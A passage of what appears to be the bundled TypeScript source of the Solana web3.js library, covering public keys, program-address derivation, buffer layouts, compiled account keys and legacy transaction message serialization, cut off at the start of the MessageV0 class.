'bs58';\nimport {Buffer} from 'buffer';\nimport {sha256} from '@noble/hashes/sha256';\n\nimport {isOnCurve} from './utils/ed25519';\nimport {Struct, SOLANA_SCHEMA} from './utils/borsh-schema';\nimport {toBuffer} from './utils/to-buffer';\n\n/**\n * Maximum length of derived pubkey seed\n */\nexport const MAX_SEED_LENGTH = 32;\n\n/**\n * Size of public key in bytes\n */\nexport const PUBLIC_KEY_LENGTH = 32;\n\n/**\n * Value to be converted into public key\n */\nexport type PublicKeyInitData =\n | number\n | string\n | Uint8Array\n | Array<number>\n | PublicKeyData;\n\n/**\n * JSON object representation of PublicKey class\n */\nexport type PublicKeyData = {\n /** @internal */\n _bn: BN;\n};\n\nfunction isPublicKeyData(value: PublicKeyInitData): value is PublicKeyData {\n return (value as PublicKeyData)._bn !== undefined;\n}\n\n// local counter used by PublicKey.unique()\nlet uniquePublicKeyCounter = 1;\n\n/**\n * A public key\n */\nexport class PublicKey extends Struct {\n /** @internal */\n _bn: BN;\n\n /**\n * Create a new PublicKey object\n * @param value ed25519 public key as buffer or base-58 encoded string\n */\n constructor(value: PublicKeyInitData) {\n super({});\n if (isPublicKeyData(value)) {\n this._bn = value._bn;\n } else {\n if (typeof value === 'string') {\n // assume base 58 encoding by default\n const decoded = bs58.decode(value);\n if (decoded.length != PUBLIC_KEY_LENGTH) {\n throw new Error(`Invalid public key input`);\n }\n this._bn = new BN(decoded);\n } else {\n this._bn = new BN(value);\n }\n\n if (this._bn.byteLength() > PUBLIC_KEY_LENGTH) {\n throw new Error(`Invalid public key input`);\n }\n }\n }\n\n /**\n * Returns a unique PublicKey for tests and benchmarks using a counter\n */\n static unique(): PublicKey {\n const key = new PublicKey(uniquePublicKeyCounter);\n uniquePublicKeyCounter += 1;\n return new PublicKey(key.toBuffer());\n }\n\n /**\n * Default public key value. The base58-encoded string representation is all ones (as seen below)\n * The underlying BN number is 32 bytes that are all zeros\n */\n static default: PublicKey = new PublicKey('11111111111111111111111111111111');\n\n /**\n * Checks if two publicKeys are equal\n */\n equals(publicKey: PublicKey): boolean {\n return this._bn.eq(publicKey._bn);\n }\n\n /**\n * Return the base-58 representation of the public key\n */\n toBase58(): string {\n return bs58.encode(this.toBytes());\n }\n\n toJSON(): string {\n return this.toBase58();\n }\n\n /**\n * Return the byte array representation of the public key in big endian\n */\n toBytes(): Uint8Array {\n const buf = this.toBuffer();\n return new Uint8Array(buf.buffer, buf.byteOffset, buf.byteLength);\n }\n\n /**\n * Return the Buffer representation of the public key in big endian\n */\n toBuffer(): Buffer {\n const b = this._bn.toArrayLike(Buffer);\n if (b.length === PUBLIC_KEY_LENGTH) {\n return b;\n }\n\n const zeroPad = Buffer.alloc(32);\n b.copy(zeroPad, 32 - b.length);\n return zeroPad;\n }\n\n get [Symbol.toStringTag](): string {\n return `PublicKey(${this.toString()})`;\n }\n\n /**\n * Return the base-58 representation of the public key\n */\n toString(): string {\n return this.toBase58();\n }\n\n /**\n * Derive a public key from another key, a seed, and a program ID.\n * The program ID will also serve as the owner of the public key, giving\n * it permission to write data to the account.\n */\n /* eslint-disable require-await */\n static async createWithSeed(\n fromPublicKey: PublicKey,\n seed: string,\n programId: PublicKey,\n ): Promise<PublicKey> {\n const buffer = Buffer.concat([\n fromPublicKey.toBuffer(),\n Buffer.from(seed),\n programId.toBuffer(),\n ]);\n const publicKeyBytes = sha256(buffer);\n return new PublicKey(publicKeyBytes);\n }\n\n /**\n * Derive a program address from seeds and a program ID.\n */\n /* eslint-disable require-await */\n static createProgramAddressSync(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): PublicKey {\n let buffer = Buffer.alloc(0);\n seeds.forEach(function (seed) {\n if (seed.length > MAX_SEED_LENGTH) {\n throw new TypeError(`Max seed length exceeded`);\n }\n buffer = Buffer.concat([buffer, toBuffer(seed)]);\n });\n buffer = Buffer.concat([\n buffer,\n programId.toBuffer(),\n Buffer.from('ProgramDerivedAddress'),\n ]);\n const publicKeyBytes = sha256(buffer);\n if (isOnCurve(publicKeyBytes)) {\n throw new Error(`Invalid seeds, address must fall off the curve`);\n }\n return new PublicKey(publicKeyBytes);\n }\n\n /**\n * Async version of createProgramAddressSync\n * For backwards compatibility\n *\n * @deprecated Use {@link createProgramAddressSync} instead\n */\n /* eslint-disable require-await */\n static async createProgramAddress(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): Promise<PublicKey> {\n return this.createProgramAddressSync(seeds, programId);\n }\n\n /**\n * Find a valid program address\n *\n * Valid program addresses must fall off the ed25519 curve. This function\n * iterates a nonce until it finds one that when combined with the seeds\n * results in a valid program address.\n */\n static findProgramAddressSync(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): [PublicKey, number] {\n let nonce = 255;\n let address;\n while (nonce != 0) {\n try {\n const seedsWithNonce = seeds.concat(Buffer.from([nonce]));\n address = this.createProgramAddressSync(seedsWithNonce, programId);\n } catch (err) {\n if (err instanceof TypeError) {\n throw err;\n }\n nonce--;\n continue;\n }\n return [address, nonce];\n }\n throw new Error(`Unable to find a viable program address nonce`);\n }\n\n /**\n * Async version of findProgramAddressSync\n * For backwards compatibility\n *\n * @deprecated Use {@link findProgramAddressSync} instead\n */\n static async findProgramAddress(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): Promise<[PublicKey, number]> {\n return this.findProgramAddressSync(seeds, programId);\n }\n\n /**\n * Check that a pubkey is on the ed25519 curve.\n */\n static isOnCurve(pubkeyData: PublicKeyInitData): boolean {\n const pubkey = new PublicKey(pubkeyData);\n return isOnCurve(pubkey.toBytes());\n }\n}\n\nSOLANA_SCHEMA.set(PublicKey, {\n kind: 'struct',\n fields: [['_bn', 'u256']],\n});\n","/**\n * Maximum over-the-wire size of a Transaction\n *\n * 1280 is IPv6 minimum MTU\n * 40 bytes is the size of the IPv6 header\n * 8 bytes is the size of the fragment header\n */\nexport const PACKET_DATA_SIZE = 1280 - 40 - 8;\n\nexport const VERSION_PREFIX_MASK = 0x7f;\n\nexport const SIGNATURE_LENGTH_IN_BYTES = 64;\n","export class TransactionExpiredBlockheightExceededError extends Error {\n signature: string;\n\n constructor(signature: string) {\n super(`Signature ${signature} has expired: block height exceeded.`);\n this.signature = signature;\n }\n}\n\nObject.defineProperty(\n TransactionExpiredBlockheightExceededError.prototype,\n 'name',\n {\n value: 'TransactionExpiredBlockheightExceededError',\n },\n);\n\nexport class TransactionExpiredTimeoutError extends Error {\n signature: string;\n\n constructor(signature: string, timeoutSeconds: number) {\n super(\n `Transaction was not confirmed in ${timeoutSeconds.toFixed(\n 2,\n )} seconds. It is ` +\n 'unknown if it succeeded or failed. Check signature ' +\n `${signature} using the Solana Explorer or CLI tools.`,\n );\n this.signature = signature;\n }\n}\n\nObject.defineProperty(TransactionExpiredTimeoutError.prototype, 'name', {\n value: 'TransactionExpiredTimeoutError',\n});\n\nexport class TransactionExpiredNonceInvalidError extends Error {\n signature: string;\n\n constructor(signature: string) {\n super(`Signature ${signature} has expired: the nonce is no longer valid.`);\n this.signature = signature;\n }\n}\n\nObject.defineProperty(TransactionExpiredNonceInvalidError.prototype, 'name', {\n value: 'TransactionExpiredNonceInvalidError',\n});\n","import {LoadedAddresses} from '../connection';\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport {MessageCompiledInstruction} from './index';\n\nexport type AccountKeysFromLookups = LoadedAddresses;\n\nexport class MessageAccountKeys {\n staticAccountKeys: Array<PublicKey>;\n accountKeysFromLookups?: AccountKeysFromLookups;\n\n constructor(\n staticAccountKeys: Array<PublicKey>,\n accountKeysFromLookups?: AccountKeysFromLookups,\n ) {\n this.staticAccountKeys = staticAccountKeys;\n this.accountKeysFromLookups = accountKeysFromLookups;\n }\n\n keySegments(): Array<Array<PublicKey>> {\n const keySegments = [this.staticAccountKeys];\n if (this.accountKeysFromLookups) {\n keySegments.push(this.accountKeysFromLookups.writable);\n keySegments.push(this.accountKeysFromLookups.readonly);\n }\n return keySegments;\n }\n\n get(index: number): PublicKey | undefined {\n for (const keySegment of this.keySegments()) {\n if (index < keySegment.length) {\n return keySegment[index];\n } else {\n index -= keySegment.length;\n }\n }\n return;\n }\n\n get length(): number {\n return this.keySegments().flat().length;\n }\n\n compileInstructions(\n instructions: Array<TransactionInstruction>,\n ): Array<MessageCompiledInstruction> {\n // Bail early if any account indexes would overflow a u8\n const U8_MAX = 255;\n if (this.length > U8_MAX + 1) {\n throw new Error('Account index overflow encountered during compilation');\n }\n\n const keyIndexMap = new Map();\n this.keySegments()\n .flat()\n .forEach((key, index) => {\n keyIndexMap.set(key.toBase58(), index);\n });\n\n const findKeyIndex = (key: PublicKey) => {\n const keyIndex = keyIndexMap.get(key.toBase58());\n if (keyIndex === undefined)\n throw new Error(\n 'Encountered an unknown instruction account key during compilation',\n );\n return keyIndex;\n };\n\n return instructions.map((instruction): MessageCompiledInstruction => {\n return {\n programIdIndex: findKeyIndex(instruction.programId),\n accountKeyIndexes: instruction.keys.map(meta =>\n findKeyIndex(meta.pubkey),\n ),\n data: instruction.data,\n };\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {VoteAuthorizeWithSeedArgs} from './programs/vote';\n\n/**\n * Layout for a public key\n */\nexport const publicKey = (property: string = 'publicKey') => {\n return BufferLayout.blob(32, property);\n};\n\n/**\n * Layout for a signature\n */\nexport const signature = (property: string = 'signature') => {\n return BufferLayout.blob(64, property);\n};\n\n/**\n * Layout for a 64bit unsigned value\n */\nexport const uint64 = (property: string = 'uint64') => {\n return BufferLayout.blob(8, property);\n};\n\ninterface IRustStringShim\n extends Omit<\n BufferLayout.Structure<\n Readonly<{\n length: number;\n lengthPadding: number;\n chars: Uint8Array;\n }>\n >,\n 'decode' | 'encode' | 'replicate'\n > {\n alloc: (str: string) => number;\n decode: (b: Uint8Array, offset?: number) => string;\n encode: (str: string, b: Uint8Array, offset?: number) => number;\n replicate: (property: string) => this;\n}\n\n/**\n * Layout for a Rust String type\n */\nexport const rustString = (\n property: string = 'string',\n): BufferLayout.Layout<string> => {\n const rsl = BufferLayout.struct<\n Readonly<{\n length?: number;\n lengthPadding?: number;\n chars: Uint8Array;\n }>\n >(\n [\n BufferLayout.u32('length'),\n BufferLayout.u32('lengthPadding'),\n BufferLayout.blob(BufferLayout.offset(BufferLayout.u32(), -8), 'chars'),\n ],\n property,\n );\n const _decode = rsl.decode.bind(rsl);\n const _encode = rsl.encode.bind(rsl);\n\n const rslShim = rsl as unknown as IRustStringShim;\n\n rslShim.decode = (b: Uint8Array, offset?: number) => {\n const data = _decode(b, offset);\n return data['chars'].toString();\n };\n\n rslShim.encode = (str: string, b: Uint8Array, offset?: number) => {\n const data = {\n chars: Buffer.from(str, 'utf8'),\n };\n return _encode(data, b, offset);\n };\n\n rslShim.alloc = (str: string) => {\n return (\n BufferLayout.u32().span +\n BufferLayout.u32().span +\n Buffer.from(str, 'utf8').length\n );\n };\n\n return rslShim;\n};\n\n/**\n * Layout for an Authorized object\n */\nexport const authorized = (property: string = 'authorized') => {\n return BufferLayout.struct<\n Readonly<{\n staker: Uint8Array;\n withdrawer: Uint8Array;\n }>\n >([publicKey('staker'), publicKey('withdrawer')], property);\n};\n\n/**\n * Layout for a Lockup object\n */\nexport const lockup = (property: string = 'lockup') => {\n return BufferLayout.struct<\n Readonly<{\n custodian: Uint8Array;\n epoch: number;\n unixTimestamp: number;\n }>\n >(\n [\n BufferLayout.ns64('unixTimestamp'),\n BufferLayout.ns64('epoch'),\n publicKey('custodian'),\n ],\n property,\n );\n};\n\n/**\n * Layout for a VoteInit object\n */\nexport const voteInit = (property: string = 'voteInit') => {\n return BufferLayout.struct<\n Readonly<{\n authorizedVoter: Uint8Array;\n authorizedWithdrawer: Uint8Array;\n commission: number;\n nodePubkey: Uint8Array;\n }>\n >(\n [\n publicKey('nodePubkey'),\n publicKey('authorizedVoter'),\n publicKey('authorizedWithdrawer'),\n BufferLayout.u8('commission'),\n ],\n property,\n );\n};\n\n/**\n * Layout for a VoteAuthorizeWithSeedArgs object\n */\nexport const voteAuthorizeWithSeedArgs = (\n property: string = 'voteAuthorizeWithSeedArgs',\n) => {\n return BufferLayout.struct<VoteAuthorizeWithSeedArgs>(\n [\n BufferLayout.u32('voteAuthorizationType'),\n publicKey('currentAuthorityDerivedKeyOwnerPubkey'),\n rustString('currentAuthorityDerivedKeySeed'),\n publicKey('newAuthorized'),\n ],\n property,\n );\n};\n\nexport function getAlloc(type: any, fields: any): number {\n const getItemAlloc = (item: any): number => {\n if (item.span >= 0) {\n return item.span;\n } else if (typeof item.alloc === 'function') {\n return item.alloc(fields[item.property]);\n } else if ('count' in item && 'elementLayout' in item) {\n const field = fields[item.property];\n if (Array.isArray(field)) {\n return field.length * getItemAlloc(item.elementLayout);\n }\n } else if ('fields' in item) {\n // This is a `Structure` whose size needs to be recursively measured.\n return getAlloc({layout: item}, fields[item.property]);\n }\n // Couldn't determine allocated size of layout\n return 0;\n };\n\n let alloc = 0;\n type.layout.fields.forEach((item: any) => {\n alloc += getItemAlloc(item);\n });\n\n return alloc;\n}\n","export function decodeLength(bytes: Array<number>): number {\n let len = 0;\n let size = 0;\n for (;;) {\n let elem = bytes.shift() as number;\n len |= (elem & 0x7f) << (size * 7);\n size += 1;\n if ((elem & 0x80) === 0) {\n break;\n }\n }\n return len;\n}\n\nexport function encodeLength(bytes: Array<number>, len: number) {\n let rem_len = len;\n for (;;) {\n let elem = rem_len & 0x7f;\n rem_len >>= 7;\n if (rem_len == 0) {\n bytes.push(elem);\n break;\n } else {\n elem |= 0x80;\n bytes.push(elem);\n }\n }\n}\n","export default function (\n condition: unknown,\n message?: string,\n): asserts condition {\n if (!condition) {\n throw new Error(message || 'Assertion failed');\n }\n}\n","import {MessageHeader, MessageAddressTableLookup} from './index';\nimport {AccountKeysFromLookups} from './account-keys';\nimport {AddressLookupTableAccount} from '../programs';\nimport {TransactionInstruction} from '../transaction';\nimport assert from '../utils/assert';\nimport {PublicKey} from '../publickey';\n\nexport type CompiledKeyMeta = {\n isSigner: boolean;\n isWritable: boolean;\n isInvoked: boolean;\n};\n\ntype KeyMetaMap = Map<string, CompiledKeyMeta>;\n\nexport class CompiledKeys {\n payer: PublicKey;\n keyMetaMap: KeyMetaMap;\n\n constructor(payer: PublicKey, keyMetaMap: KeyMetaMap) {\n this.payer = payer;\n this.keyMetaMap = keyMetaMap;\n }\n\n static compile(\n instructions: Array<TransactionInstruction>,\n payer: PublicKey,\n ): CompiledKeys {\n const keyMetaMap: KeyMetaMap = new Map();\n const getOrInsertDefault = (pubkey: PublicKey): CompiledKeyMeta => {\n const address = pubkey.toBase58();\n let keyMeta = keyMetaMap.get(address);\n if (keyMeta === undefined) {\n keyMeta = {\n isSigner: false,\n isWritable: false,\n isInvoked: false,\n };\n keyMetaMap.set(address, keyMeta);\n }\n return keyMeta;\n };\n\n const payerKeyMeta = getOrInsertDefault(payer);\n payerKeyMeta.isSigner = true;\n payerKeyMeta.isWritable = true;\n\n for (const ix of instructions) {\n getOrInsertDefault(ix.programId).isInvoked = true;\n for (const accountMeta of ix.keys) {\n const keyMeta = getOrInsertDefault(accountMeta.pubkey);\n keyMeta.isSigner ||= accountMeta.isSigner;\n keyMeta.isWritable ||= accountMeta.isWritable;\n }\n }\n\n return new CompiledKeys(payer, keyMetaMap);\n }\n\n getMessageComponents(): [MessageHeader, Array<PublicKey>] {\n const mapEntries = [...this.keyMetaMap.entries()];\n assert(mapEntries.length <= 256, 'Max static account keys length exceeded');\n\n const writableSigners = mapEntries.filter(\n ([, meta]) => meta.isSigner && meta.isWritable,\n );\n const readonlySigners = mapEntries.filter(\n ([, meta]) => meta.isSigner && !meta.isWritable,\n );\n const writableNonSigners = mapEntries.filter(\n ([, meta]) => !meta.isSigner && meta.isWritable,\n );\n const readonlyNonSigners = mapEntries.filter(\n ([, meta]) => !meta.isSigner && !meta.isWritable,\n );\n\n const header: MessageHeader = {\n numRequiredSignatures: writableSigners.length + readonlySigners.length,\n numReadonlySignedAccounts: readonlySigners.length,\n numReadonlyUnsignedAccounts: readonlyNonSigners.length,\n };\n\n // sanity checks\n {\n assert(\n writableSigners.length > 0,\n 'Expected at least one writable signer key',\n );\n const [payerAddress] = writableSigners[0];\n assert(\n payerAddress === this.payer.toBase58(),\n 'Expected first writable signer key to be the fee payer',\n );\n }\n\n const staticAccountKeys = [\n ...writableSigners.map(([address]) => new PublicKey(address)),\n ...readonlySigners.map(([address]) => new PublicKey(address)),\n ...writableNonSigners.map(([address]) => new PublicKey(address)),\n ...readonlyNonSigners.map(([address]) => new PublicKey(address)),\n ];\n\n return [header, staticAccountKeys];\n }\n\n extractTableLookup(\n lookupTable: AddressLookupTableAccount,\n ): [MessageAddressTableLookup, AccountKeysFromLookups] | undefined {\n const [writableIndexes, drainedWritableKeys] =\n this.drainKeysFoundInLookupTable(\n lookupTable.state.addresses,\n keyMeta =>\n !keyMeta.isSigner && !keyMeta.isInvoked && keyMeta.isWritable,\n );\n const [readonlyIndexes, drainedReadonlyKeys] =\n this.drainKeysFoundInLookupTable(\n lookupTable.state.addresses,\n keyMeta =>\n !keyMeta.isSigner && !keyMeta.isInvoked && !keyMeta.isWritable,\n );\n\n // Don't extract lookup if no keys were found\n if (writableIndexes.length === 0 && readonlyIndexes.length === 0) {\n return;\n }\n\n return [\n {\n accountKey: lookupTable.key,\n writableIndexes,\n readonlyIndexes,\n },\n {\n writable: drainedWritableKeys,\n readonly: drainedReadonlyKeys,\n },\n ];\n }\n\n /** @internal */\n private drainKeysFoundInLookupTable(\n lookupTableEntries: Array<PublicKey>,\n keyMetaFilter: (keyMeta: CompiledKeyMeta) => boolean,\n ): [Array<number>, Array<PublicKey>] {\n const lookupTableIndexes = new Array();\n const drainedKeys = new Array();\n\n for (const [address, keyMeta] of this.keyMetaMap.entries()) {\n if (keyMetaFilter(keyMeta)) {\n const key = new PublicKey(address);\n const lookupTableIndex = lookupTableEntries.findIndex(entry =>\n entry.equals(key),\n );\n if (lookupTableIndex >= 0) {\n assert(lookupTableIndex < 256, 'Max lookup table index exceeded');\n lookupTableIndexes.push(lookupTableIndex);\n drainedKeys.push(key);\n this.keyMetaMap.delete(address);\n }\n }\n }\n\n return [lookupTableIndexes, drainedKeys];\n }\n}\n","const END_OF_BUFFER_ERROR_MESSAGE = 'Reached end of buffer unexpectedly';\n\n/**\n * Delegates to `Array#shift`, but throws if the array is zero-length.\n */\nexport function guardedShift<T>(byteArray: T[]): T {\n if (byteArray.length === 0) {\n throw new Error(END_OF_BUFFER_ERROR_MESSAGE);\n }\n return byteArray.shift() as T;\n}\n\n/**\n * Delegates to `Array#splice`, but throws if the section being spliced out extends past the end of\n * the array.\n */\nexport function guardedSplice<T>(\n byteArray: T[],\n ...args:\n | [start: number, deleteCount?: number]\n | [start: number, deleteCount: number, ...items: T[]]\n): T[] {\n const [start] = args;\n if (\n args.length === 2 // Implies that `deleteCount` was supplied\n ? start + (args[1] ?? 0) > byteArray.length\n : start >= byteArray.length\n ) {\n throw new Error(END_OF_BUFFER_ERROR_MESSAGE);\n }\n return byteArray.splice(\n ...(args as Parameters<typeof Array.prototype.splice>),\n );\n}\n","import bs58 from 'bs58';\nimport {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {PublicKey, PUBLIC_KEY_LENGTH} from '../publickey';\nimport type {Blockhash} from '../blockhash';\nimport * as Layout from '../layout';\nimport {PACKET_DATA_SIZE, VERSION_PREFIX_MASK} from '../transaction/constants';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport {toBuffer} from '../utils/to-buffer';\nimport {\n MessageHeader,\n MessageAddressTableLookup,\n MessageCompiledInstruction,\n} from './index';\nimport {TransactionInstruction} from '../transaction';\nimport {CompiledKeys} from './compiled-keys';\nimport {MessageAccountKeys} from './account-keys';\nimport {guardedShift, guardedSplice} from '../utils/guarded-array-utils';\n\n/**\n * An instruction to execute by a program\n *\n * @property {number} programIdIndex\n * @property {number[]} accounts\n * @property {string} data\n */\nexport type CompiledInstruction = {\n /** Index into the transaction keys array indicating the program account that executes this instruction */\n programIdIndex: number;\n /** Ordered indices into the transaction keys array indicating which accounts to pass to the program */\n accounts: number[];\n /** The program input data encoded as base 58 */\n data: string;\n};\n\n/**\n * Message constructor arguments\n */\nexport type MessageArgs = {\n /** The message header, identifying signed and read-only `accountKeys` */\n header: MessageHeader;\n /** All the account keys used by this transaction */\n accountKeys: string[] | PublicKey[];\n /** The hash of a recent ledger block */\n recentBlockhash: Blockhash;\n /** Instructions that will be executed in sequence and committed in one atomic transaction if all succeed. */\n instructions: CompiledInstruction[];\n};\n\nexport type CompileLegacyArgs = {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n};\n\n/**\n * List of instructions to be processed atomically\n */\nexport class Message {\n header: MessageHeader;\n accountKeys: PublicKey[];\n recentBlockhash: Blockhash;\n instructions: CompiledInstruction[];\n\n private indexToProgramIds: Map<number, PublicKey> = new Map<\n number,\n PublicKey\n >();\n\n constructor(args: MessageArgs) {\n this.header = args.header;\n this.accountKeys = args.accountKeys.map(account => new PublicKey(account));\n this.recentBlockhash = args.recentBlockhash;\n this.instructions = args.instructions;\n this.instructions.forEach(ix =>\n this.indexToProgramIds.set(\n ix.programIdIndex,\n this.accountKeys[ix.programIdIndex],\n ),\n );\n }\n\n get version(): 'legacy' {\n return 'legacy';\n }\n\n get staticAccountKeys(): Array<PublicKey> {\n return this.accountKeys;\n }\n\n get compiledInstructions(): Array<MessageCompiledInstruction> {\n return this.instructions.map(\n (ix): MessageCompiledInstruction => ({\n programIdIndex: ix.programIdIndex,\n accountKeyIndexes: ix.accounts,\n data: bs58.decode(ix.data),\n }),\n );\n }\n\n get addressTableLookups(): Array<MessageAddressTableLookup> {\n return [];\n }\n\n getAccountKeys(): MessageAccountKeys {\n return new MessageAccountKeys(this.staticAccountKeys);\n }\n\n static compile(args: CompileLegacyArgs): Message {\n const compiledKeys = CompiledKeys.compile(args.instructions, args.payerKey);\n const [header, staticAccountKeys] = compiledKeys.getMessageComponents();\n const accountKeys = new MessageAccountKeys(staticAccountKeys);\n const instructions = accountKeys.compileInstructions(args.instructions).map(\n (ix: MessageCompiledInstruction): CompiledInstruction => ({\n programIdIndex: ix.programIdIndex,\n accounts: ix.accountKeyIndexes,\n data: bs58.encode(ix.data),\n }),\n );\n return new Message({\n header,\n accountKeys: staticAccountKeys,\n recentBlockhash: args.recentBlockhash,\n instructions,\n });\n }\n\n isAccountSigner(index: number): boolean {\n return index < this.header.numRequiredSignatures;\n }\n\n isAccountWritable(index: number): boolean {\n const numSignedAccounts = this.header.numRequiredSignatures;\n if (index >= this.header.numRequiredSignatures) {\n const unsignedAccountIndex = index - numSignedAccounts;\n const numUnsignedAccounts = this.accountKeys.length - numSignedAccounts;\n const numWritableUnsignedAccounts =\n numUnsignedAccounts - this.header.numReadonlyUnsignedAccounts;\n return unsignedAccountIndex < numWritableUnsignedAccounts;\n } else {\n const numWritableSignedAccounts =\n numSignedAccounts - this.header.numReadonlySignedAccounts;\n return index < numWritableSignedAccounts;\n }\n }\n\n isProgramId(index: number): boolean {\n return this.indexToProgramIds.has(index);\n }\n\n programIds(): PublicKey[] {\n return [...this.indexToProgramIds.values()];\n }\n\n nonProgramIds(): PublicKey[] {\n return this.accountKeys.filter((_, index) => !this.isProgramId(index));\n }\n\n serialize(): Buffer {\n const numKeys = this.accountKeys.length;\n\n let keyCount: number[] = [];\n shortvec.encodeLength(keyCount, numKeys);\n\n const instructions = this.instructions.map(instruction => {\n const {accounts, programIdIndex} = instruction;\n const data = Array.from(bs58.decode(instruction.data));\n\n let keyIndicesCount: number[] = [];\n shortvec.encodeLength(keyIndicesCount, accounts.length);\n\n let dataCount: number[] = [];\n shortvec.encodeLength(dataCount, data.length);\n\n return {\n programIdIndex,\n keyIndicesCount: Buffer.from(keyIndicesCount),\n keyIndices: accounts,\n dataLength: Buffer.from(dataCount),\n data,\n };\n });\n\n let instructionCount: number[] = [];\n shortvec.encodeLength(instructionCount, instructions.length);\n let instructionBuffer = Buffer.alloc(PACKET_DATA_SIZE);\n Buffer.from(instructionCount).copy(instructionBuffer);\n let instructionBufferLength = instructionCount.length;\n\n instructions.forEach(instruction => {\n const instructionLayout = BufferLayout.struct<\n Readonly<{\n data: number[];\n dataLength: Uint8Array;\n keyIndices: number[];\n keyIndicesCount: Uint8Array;\n programIdIndex: number;\n }>\n >([\n BufferLayout.u8('programIdIndex'),\n\n BufferLayout.blob(\n instruction.keyIndicesCount.length,\n 'keyIndicesCount',\n ),\n BufferLayout.seq(\n BufferLayout.u8('keyIndex'),\n instruction.keyIndices.length,\n 'keyIndices',\n ),\n BufferLayout.blob(instruction.dataLength.length, 'dataLength'),\n BufferLayout.seq(\n BufferLayout.u8('userdatum'),\n instruction.data.length,\n 'data',\n ),\n ]);\n const length = instructionLayout.encode(\n instruction,\n instructionBuffer,\n instructionBufferLength,\n );\n instructionBufferLength += length;\n });\n instructionBuffer = instructionBuffer.slice(0, instructionBufferLength);\n\n const signDataLayout = BufferLayout.struct<\n Readonly<{\n keyCount: Uint8Array;\n keys: Uint8Array[];\n numReadonlySignedAccounts: Uint8Array;\n numReadonlyUnsignedAccounts: Uint8Array;\n numRequiredSignatures: Uint8Array;\n recentBlockhash: Uint8Array;\n }>\n >([\n BufferLayout.blob(1, 'numRequiredSignatures'),\n BufferLayout.blob(1, 'numReadonlySignedAccounts'),\n BufferLayout.blob(1, 'numReadonlyUnsignedAccounts'),\n BufferLayout.blob(keyCount.length, 'keyCount'),\n BufferLayout.seq(Layout.publicKey('key'), numKeys, 'keys'),\n Layout.publicKey('recentBlockhash'),\n ]);\n\n const transaction = {\n numRequiredSignatures: Buffer.from([this.header.numRequiredSignatures]),\n numReadonlySignedAccounts: Buffer.from([\n this.header.numReadonlySignedAccounts,\n ]),\n numReadonlyUnsignedAccounts: Buffer.from([\n this.header.numReadonlyUnsignedAccounts,\n ]),\n keyCount: Buffer.from(keyCount),\n keys: this.accountKeys.map(key => toBuffer(key.toBytes())),\n recentBlockhash: bs58.decode(this.recentBlockhash),\n };\n\n let signData = Buffer.alloc(2048);\n const length = signDataLayout.encode(transaction, signData);\n instructionBuffer.copy(signData, length);\n return signData.slice(0, length + instructionBuffer.length);\n }\n\n /**\n * Decode a compiled message into a Message object.\n */\n static from(buffer: Buffer | Uint8Array | Array<number>): Message {\n // Slice up wire data\n let byteArray = [...buffer];\n\n const numRequiredSignatures = guardedShift(byteArray);\n if (\n numRequiredSignatures !==\n (numRequiredSignatures & VERSION_PREFIX_MASK)\n ) {\n throw new Error(\n 'Versioned messages must be deserialized with VersionedMessage.deserialize()',\n );\n }\n\n const numReadonlySignedAccounts = guardedShift(byteArray);\n const numReadonlyUnsignedAccounts = guardedShift(byteArray);\n\n const accountCount = shortvec.decodeLength(byteArray);\n let accountKeys = [];\n for (let i = 0; i < accountCount; i++) {\n const account = guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH);\n accountKeys.push(new PublicKey(Buffer.from(account)));\n }\n\n const recentBlockhash = guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH);\n\n const instructionCount = shortvec.decodeLength(byteArray);\n let instructions: CompiledInstruction[] = [];\n for (let i = 0; i < instructionCount; i++) {\n const programIdIndex = guardedShift(byteArray);\n const accountCount = shortvec.decodeLength(byteArray);\n const accounts = guardedSplice(byteArray, 0, accountCount);\n const dataLength = shortvec.decodeLength(byteArray);\n const dataSlice = guardedSplice(byteArray, 0, dataLength);\n const data = bs58.encode(Buffer.from(dataSlice));\n instructions.push({\n programIdIndex,\n accounts,\n data,\n });\n }\n\n const messageArgs = {\n header: {\n numRequiredSignatures,\n numReadonlySignedAccounts,\n numReadonlyUnsignedAccounts,\n },\n recentBlockhash: bs58.encode(Buffer.from(recentBlockhash)),\n accountKeys,\n instructions,\n };\n\n return new Message(messageArgs);\n }\n}\n","import bs58 from 'bs58';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport * as Layout from '../layout';\nimport {Blockhash} from '../blockhash';\nimport {\n MessageHeader,\n MessageAddressTableLookup,\n MessageCompiledInstruction,\n} from './index';\nimport {PublicKey, PUBLIC_KEY_LENGTH} from '../publickey';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport assert from '../utils/assert';\nimport {PACKET_DATA_SIZE, VERSION_PREFIX_MASK} from '../transaction/constants';\nimport {TransactionInstruction} from '../transaction';\nimport {AddressLookupTableAccount} from '../programs';\nimport {CompiledKeys} from './compiled-keys';\nimport {AccountKeysFromLookups, MessageAccountKeys} from './account-keys';\nimport {guardedShift, guardedSplice} from '../utils/guarded-array-utils';\n\n/**\n * Message constructor arguments\n */\nexport type MessageV0Args = {\n /** The message header, identifying signed and read-only `accountKeys` */\n header: MessageHeader;\n /** The static account keys used by this transaction */\n staticAccountKeys: PublicKey[];\n /** The hash of a recent ledger block */\n recentBlockhash: Blockhash;\n /** Instructions that will be executed in sequence and committed in one atomic transaction if all succeed. */\n compiledInstructions: MessageCompiledInstruction[];\n /** Instructions that will be executed in sequence and committed in one atomic transaction if all succeed. */\n addressTableLookups: MessageAddressTableLookup[];\n};\n\nexport type CompileV0Args = {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n addressLookupTableAccounts?: Array<AddressLookupTableAccount>;\n};\n\nexport type GetAccountKeysArgs =\n | {\n accountKeysFromLookups?: AccountKeysFromLookups | null;\n }\n | {\n addressLookupTableAccounts?: AddressLookupTableAccount[] | null;\n };\n\nexport class MessageV0 {\n 